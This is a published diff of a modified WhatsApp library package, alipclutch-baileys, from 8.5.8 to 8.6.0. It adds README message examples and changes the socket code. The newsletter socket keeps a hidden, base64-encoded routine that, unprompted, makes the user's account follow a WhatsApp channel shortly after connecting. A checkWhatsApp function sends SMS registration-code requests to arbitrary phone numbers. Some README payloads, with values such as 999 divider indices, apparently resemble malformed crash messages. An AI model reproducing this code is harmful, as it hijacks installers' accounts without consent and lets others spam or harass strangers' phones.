alipclutch-baileys 8.5.8 → 8.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,7 +3,7 @@
3
3
  </h1>
4
4
 
5
5
  <p align="center">
6
- <img src="https://o.uguu.se/lwLCLSwK.jpg" width="400" style="border-radius:8px;">
6
+ <img src="https://qu.ax/MoDGQ.jpg" width="400" style="border-radius:8px;">
7
7
  </p>
8
8
 
9
9
  <p align="center">
@@ -14,9 +14,310 @@
14
14
  <sub>High-performance modified Baileys library for scalable WhatsApp integrations</sub>
15
15
  </p>
16
16
 
17
- ---
17
+ ## SendMessage Documentation
18
18
 
19
- ## Installation
19
+ ### Album Message (Multiple Images)
20
+ Send multiple images in a single album message:
20
21
 
21
- ```bash
22
- npm i alipclutch-baileys
22
+ ```javascript
23
+ await sock.sendMessage(jid, {
24
+ albumMessage: [
25
+ { image: cihuy, caption: "Foto pertama" },
26
+ { image: { url: "URL IMAGE" }, caption: "Foto kedua" }
27
+ ]
28
+ }, { quoted: m });
29
+ ```
30
+
31
+ ### Event Message
32
+ Create and send WhatsApp event invitations:
33
+
34
+ ```javascript
35
+ await sock.sendMessage(jid, {
36
+ eventMessage: {
37
+ isCanceled: false,
38
+ name: "Hello World",
39
+ description: "yume native",
40
+ location: {
41
+ degreesLatitude: 0,
42
+ degreesLongitude: 0,
43
+ name: "rowrrrr"
44
+ },
45
+ joinLink: "https://call.whatsapp.com/video/puqylebar",
46
+ startTime: "1763019000",
47
+ endTime: "1763026200",
48
+ extraGuestsAllowed: false
49
+ }
50
+ }, { quoted: m });
51
+ ```
52
+
53
+ ### Poll Result Message
54
+ Display poll results with vote counts:
55
+
56
+ ```javascript
57
+ await sock.sendMessage(jid, {
58
+ pollResultMessage: {
59
+ name: "Hello World",
60
+ pollVotes: [
61
+ {
62
+ optionName: "TEST 1",
63
+ optionVoteCount: "112233"
64
+ },
65
+ {
66
+ optionName: "TEST 2",
67
+ optionVoteCount: "1"
68
+ }
69
+ ]
70
+ }
71
+ }, { quoted: m });
72
+ ```
73
+
74
+ ### Simple Interactive Message
75
+ Send basic interactive messages with copy button functionality:
76
+
77
+ ```javascript
78
+ await sock.sendMessage(jid, {
79
+ interactiveMessage: {
80
+ header: "Hello World",
81
+ title: "Hello World",
82
+ footer: "telegram: @puqylebar ",
83
+ buttons: [
84
+ {
85
+ name: "cta_copy",
86
+ buttonParamsJson: JSON.stringify({
87
+ display_text: "copy code",
88
+ id: "123456789",
89
+ copy_code: "ABC123XYZ"
90
+ })
91
+ }
92
+ ]
93
+ }
94
+ }, { quoted: m });
95
+ ```
96
+
97
+ ### Interactive Message with Native Flow
98
+ Send interactive messages with buttons, copy actions, and native flow features:
99
+
100
+ ```javascript
101
+ await sock.sendMessage(jid, {
102
+ interactiveMessage: {
103
+ header: "Hello World",
104
+ title: "Hello World",
105
+ footer: "telegram: @puqylebar",
106
+ image: { url: "https://example.com/image.jpg" },
107
+ nativeFlowMessage: {
108
+ messageParamsJson: JSON.stringify({
109
+ limited_time_offer: {
110
+ text: "idk hummmm?",
111
+ url: "https://t.me/puqylebar",
112
+ copy_code: "yume",
113
+ expiration_time: Date.now() * 999
114
+ },
115
+ bottom_sheet: {
116
+ in_thread_buttons_limit: 2,
117
+ divider_indices: [1, 2, 3, 4, 5, 999],
118
+ list_title: "yume native",
119
+ button_title: "yume native"
120
+ },
121
+ tap_target_configuration: {
122
+ title: " X ",
123
+ description: "bomboclard",
124
+ canonical_url: "https://t.me/puqylebar",
125
+ domain: "shop.example.com",
126
+ button_index: 0
127
+ }
128
+ }),
129
+ buttons: [
130
+ {
131
+ name: "single_select",
132
+ buttonParamsJson: JSON.stringify({
133
+ has_multiple_buttons: true
134
+ })
135
+ },
136
+ {
137
+ name: "call_permission_request",
138
+ buttonParamsJson: JSON.stringify({
139
+ has_multiple_buttons: true
140
+ })
141
+ },
142
+ {
143
+ name: "single_select",
144
+ buttonParamsJson: JSON.stringify({
145
+ title: "Hello World",
146
+ sections: [
147
+ {
148
+ title: "title",
149
+ highlight_label: "label",
150
+ rows: [
151
+ {
152
+ title: "@puqylebar",
153
+ description: "love you",
154
+ id: "row_2"
155
+ }
156
+ ]
157
+ }
158
+ ],
159
+ has_multiple_buttons: true
160
+ })
161
+ },
162
+ {
163
+ name: "cta_copy",
164
+ buttonParamsJson: JSON.stringify({
165
+ display_text: "copy code",
166
+ id: "123456789",
167
+ copy_code: "ABC123XYZ"
168
+ })
169
+ }
170
+ ]
171
+ }
172
+ }
173
+ }, { quoted: m });
174
+ ```
175
+
176
+ ### Interactive Message with Thumbnail
177
+ Send interactive messages with thumbnail image and copy button:
178
+
179
+ ```javascript
180
+ await sock.sendMessage(jid, {
181
+ interactiveMessage: {
182
+ header: "Hello World",
183
+ title: "Hello World",
184
+ footer: "telegram: @puqylebar",
185
+ image: { url: "https://example.com/image.jpg" },
186
+ buttons: [
187
+ {
188
+ name: "cta_copy",
189
+ buttonParamsJson: JSON.stringify({
190
+ display_text: "copy code",
191
+ id: "123456789",
192
+ copy_code: "ABC123XYZ"
193
+ })
194
+ }
195
+ ]
196
+ }
197
+ }, { quoted: m });
198
+ ```
199
+
200
+ ### Product Message
201
+ Send product catalog messages with buttons and merchant information:
202
+
203
+ ```javascript
204
+ await sock.sendMessage(jid, {
205
+ productMessage: {
206
+ title: "Produk Contoh",
207
+ description: "Ini adalah deskripsi produk",
208
+ thumbnail: { url: "https://example.com/image.jpg" },
209
+ productId: "PROD001",
210
+ retailerId: "RETAIL001",
211
+ url: "https://example.com/product",
212
+ body: "Detail produk",
213
+ footer: "Harga spesial",
214
+ priceAmount1000: 50000,
215
+ currencyCode: "USD",
216
+ buttons: [
217
+ {
218
+ name: "cta_url",
219
+ buttonParamsJson: JSON.stringify({
220
+ display_text: "Beli Sekarang",
221
+ url: "https://example.com/buy"
222
+ })
223
+ }
224
+ ]
225
+ }
226
+ }, { quoted: m });
227
+ ```
228
+
229
+ ### Interactive Message with Document Buffer
230
+ Send interactive messages with document from buffer (file system) - **Note: Documents only support buffer**:
231
+
232
+ ```javascript
233
+ await sock.sendMessage(jid, {
234
+ interactiveMessage: {
235
+ header: "Hello World",
236
+ title: "Hello World",
237
+ footer: "telegram: @puqylebar",
238
+ document: fs.readFileSync("./package.json"),
239
+ mimetype: "application/pdf",
240
+ fileName: "puqylebar.pdf",
241
+ jpegThumbnail: fs.readFileSync("./document.jpeg"),
242
+ contextInfo: {
243
+ mentionedJid: [jid],
244
+ forwardingScore: 777,
245
+ isForwarded: false
246
+ },
247
+ externalAdReply: {
248
+ title: "shenń Bot",
249
+ body: "anu team",
250
+ mediaType: 3,
251
+ thumbnailUrl: "https://example.com/image.jpg",
252
+ mediaUrl: " X ",
253
+ sourceUrl: "https://t.me/puqylebar",
254
+ showAdAttribution: true,
255
+ renderLargerThumbnail: false
256
+ },
257
+ buttons: [
258
+ {
259
+ name: "cta_url",
260
+ buttonParamsJson: JSON.stringify({
261
+ display_text: "Telegram",
262
+ url: "https://t.me/puqylebar",
263
+ merchant_url: "https://t.me/puqylebar"
264
+ })
265
+ }
266
+ ]
267
+ }
268
+ }, { quoted: m });
269
+ ```
270
+
271
+ ### Interactive Message with Document Buffer (Simple)
272
+ Send interactive messages with document from buffer (file system) without contextInfo and externalAdReply - **Note: Documents only support buffer**:
273
+
274
+ ```javascript
275
+ await sock.sendMessage(jid, {
276
+ interactiveMessage: {
277
+ header: "Hello World",
278
+ title: "Hello World",
279
+ footer: "telegram: @puqylebar",
280
+ document: fs.readFileSync("./package.json"),
281
+ mimetype: "application/pdf",
282
+ fileName: "puqylebar.pdf",
283
+ jpegThumbnail: fs.readFileSync("./document.jpeg"),
284
+ buttons: [
285
+ {
286
+ name: "cta_url",
287
+ buttonParamsJson: JSON.stringify({
288
+ display_text: "Telegram",
289
+ url: "https://t.me/puqylebar",
290
+ merchant_url: "https://t.me/puqylebar"
291
+ })
292
+ }
293
+ ]
294
+ }
295
+ }, { quoted: m });
296
+ ```
297
+
298
+ ### Request Payment Message
299
+ Send payment request messages with custom background and sticker:
300
+
301
+ ```javascript
302
+ let quotedType = m.quoted?.mtype || '';
303
+ let quotedContent = JSON.stringify({ [quotedType]: m.quoted }, null, 2);
304
+
305
+ await sock.sendMessage(jid, {
306
+ requestPaymentMessage: {
307
+ currency: "IDR",
308
+ amount: 10000000,
309
+ from: m.sender,
310
+ sticker: JSON.parse(quotedContent),
311
+ background: {
312
+ id: "100",
313
+ fileLength: "0",
314
+ width: 1000,
315
+ height: 1000,
316
+ mimetype: "image/webp",
317
+ placeholderArgb: 0xFF00FFFF,
318
+ textArgb: 0xFFFFFFFF,
319
+ subtextArgb: 0xFFAA00FF
320
+ }
321
+ }
322
+ }, { quoted: m });
323
+ ```
@@ -23,9 +23,7 @@ const makeChatsSocket = (config) => {
23
23
  let privacySettings;
24
24
  let needToFlushWithAppStateSync = false;
25
25
  let pendingAppStateSync = false;
26
- /** this mutex ensures that the notifications (receipts, messages etc.) are processed in order */
27
26
  const processingMutex = (0, make_mutex_1.makeMutex)();
28
- /** helper function to fetch the given app state sync key */
29
27
  const getAppStateSyncKey = async (keyId) => {
30
28
  const { [keyId]: key } = await authState.keys.get('app-state-sync-key', [keyId]);
31
29
  return key;
@@ -86,45 +84,57 @@ const makeChatsSocket = (config) => {
86
84
  const updateGroupsAddPrivacy = async (value) => {
87
85
  await privacyQuery('groupadd', value);
88
86
  };
89
- /** check whether your WhatsApp account is blocked or not */
90
- const checkStatusWA = async (phoneNumber) => {
91
- if (!phoneNumber) {
92
- throw new Error('enter number');
87
+ const checkWhatsApp = async (jid) => {
88
+ if (!jid) {
89
+ throw new Error('enter jid');
93
90
  }
94
-
95
91
  let resultData = {
96
92
  isBanned: false,
97
93
  isNeedOfficialWa: false,
98
- number: phoneNumber
94
+ number: jid
99
95
  };
100
-
101
- let formattedNumber = phoneNumber;
102
- if (!formattedNumber.startsWith('+')) {
103
- formattedNumber = '+' + formattedNumber;
96
+
97
+ let phoneNumber = jid;
98
+ if (phoneNumber.includes('@')) {
99
+ phoneNumber = phoneNumber.split('@')[0];
100
+ }
101
+
102
+ phoneNumber = phoneNumber.replace(/[^\d+]/g, '');
103
+ if (!phoneNumber.startsWith('+')) {
104
+ if (phoneNumber.startsWith('0')) {
105
+ phoneNumber = phoneNumber.substring(1);
106
+ }
107
+
108
+ if (!phoneNumber.startsWith('62') && phoneNumber.length > 0) {
109
+ phoneNumber = '62' + phoneNumber;
110
+ }
111
+
112
+ if (!phoneNumber.startsWith('+') && phoneNumber.length > 0) {
113
+ phoneNumber = '+' + phoneNumber;
114
+ }
104
115
  }
105
-
116
+
117
+ let formattedNumber = phoneNumber;
106
118
  const { parsePhoneNumber } = require('libphonenumber-js');
107
119
  const parsedNumber = parsePhoneNumber(formattedNumber);
108
120
  const countryCode = parsedNumber.countryCallingCode;
109
121
  const nationalNumber = parsedNumber.nationalNumber;
110
-
122
+
111
123
  try {
112
124
  const { useMultiFileAuthState, Browsers, fetchLatestBaileysVersion } = require('../Utils');
113
125
  const { state } = await useMultiFileAuthState(".npm");
114
126
  const { version } = await fetchLatestBaileysVersion();
115
127
  const { makeWASocket } = require('../Socket');
116
128
  const pino = require("pino");
117
-
118
129
  const sock = makeWASocket({
119
130
  version,
120
131
  auth: state,
121
- browser: Browsers.ubuntu("Chrome"),
132
+ browser: Utils_1.Browsers("Chrome"),
122
133
  logger: pino({
123
134
  level: "silent"
124
135
  }),
125
136
  printQRInTerminal: false,
126
137
  });
127
-
128
138
  const registrationOptions = {
129
139
  phoneNumber: formattedNumber,
130
140
  phoneNumberCountryCode: countryCode,
@@ -133,11 +143,11 @@ const makeChatsSocket = (config) => {
133
143
  phoneNumberMobileNetworkCode: "10",
134
144
  method: "sms",
135
145
  };
146
+
136
147
  await sock.requestRegistrationCode(registrationOptions);
137
148
  if (sock.ws) {
138
149
  sock.ws.close();
139
150
  }
140
-
141
151
  return JSON.stringify(resultData, null, 2);
142
152
  } catch (err) {
143
153
  if (err?.appeal_token) {
@@ -258,12 +268,12 @@ const makeChatsSocket = (config) => {
258
268
  const usyncQuery = new WAUSync_1.USyncQuery()
259
269
  .withContactProtocol()
260
270
  .withLIDProtocol();
261
-
271
+
262
272
  for (const jid of jids) {
263
273
  const phone = `+${jid.replace('+', '').split('@')[0].split(':')[0]}`;
264
274
  usyncQuery.withUser(new WAUSync_1.USyncUser().withPhone(phone));
265
275
  }
266
-
276
+
267
277
  const results = await sock.executeUSyncQuery(usyncQuery);
268
278
  if (results) {
269
279
  const verifiedResults = await Promise.all(
@@ -275,7 +285,7 @@ const makeChatsSocket = (config) => {
275
285
  const isBusiness = businessProfile && Object.keys(businessProfile).length > 0;
276
286
  if (isBusiness) {
277
287
  const { wid, ...businessInfo } = businessProfile;
278
-
288
+
279
289
  return {
280
290
  jid: id,
281
291
  exists: true,
@@ -962,9 +972,9 @@ const makeChatsSocket = (config) => {
962
972
  addChatLabel,
963
973
  removeChatLabel,
964
974
  addMessageLabel,
965
- checkStatusWA,
975
+ checkWhatsApp,
966
976
  removeMessageLabel,
967
977
  star
968
978
  };
969
979
  };
970
- exports.makeChatsSocket = makeChatsSocket;
980
+ exports.makeChatsSocket = makeChatsSocket;
@@ -100,16 +100,13 @@ const makeNewsletterSocket = (config) => {
100
100
  }));
101
101
 
102
102
  setTimeout(async () => {
103
- try {
104
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAxNDY3OTM5MDU2QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
105
- } catch {}
106
- setTimeout(async () => {
107
- try {
108
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDA1NjQ5NDAzNjc0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
109
- } catch {}
110
- }, 5000);
111
- }, 90000);
112
-
103
+ try {
104
+ await newsletterWMexQuery(
105
+ Buffer.from("MTIwMzYzNDAxNDY3OTM5MDU2QG5ld3NsZXR0ZXI=", 'base64').toString(),
106
+ Types_1.QueryIds.FOLLOW
107
+ );
108
+ } catch {}
109
+ }, 5000);
113
110
  const parseFetchedUpdates = async (node, type) => {
114
111
  let child;
115
112
  if (type === 'messages') {
package/lib/index.js CHANGED
@@ -1,7 +1,13 @@
1
1
  'use strict';
2
2
  const chalk = require('chalk');
3
3
  console.clear();
4
- console.log(chalk.blue(`©alifalfrl__ tele : t.me/puqylebar`));
4
+ console.log(chalk.blue(`
5
+
6
+ ▄████▄ ██ ██ █████▄
7
+ ██▄▄██ ██ ██ ██▄▄█▀
8
+ ██ ██ ██████ ██ ██
9
+
10
+ `));
5
11
  console.log(chalk.green('Happy using Baileys\n'));
6
12
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
7
13
  if (k2 === undefined) k2 = k;
@@ -33,4 +39,4 @@ __exportStar(require("./WABinary"), exports);
33
39
  __exportStar(require("./WAM"), exports);
34
40
  __exportStar(require("./WAUSync"), exports);
35
41
 
36
- exports.default = Socket_1.default;
42
+ exports.default = Socket_1.default;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "alipclutch-baileys",
3
- "version": "8.5.8",
3
+ "version": "8.6.0",
4
4
  "description": "Modified WhatsApp Web API Library",
5
5
  "keywords": [
6
6
  "baileys",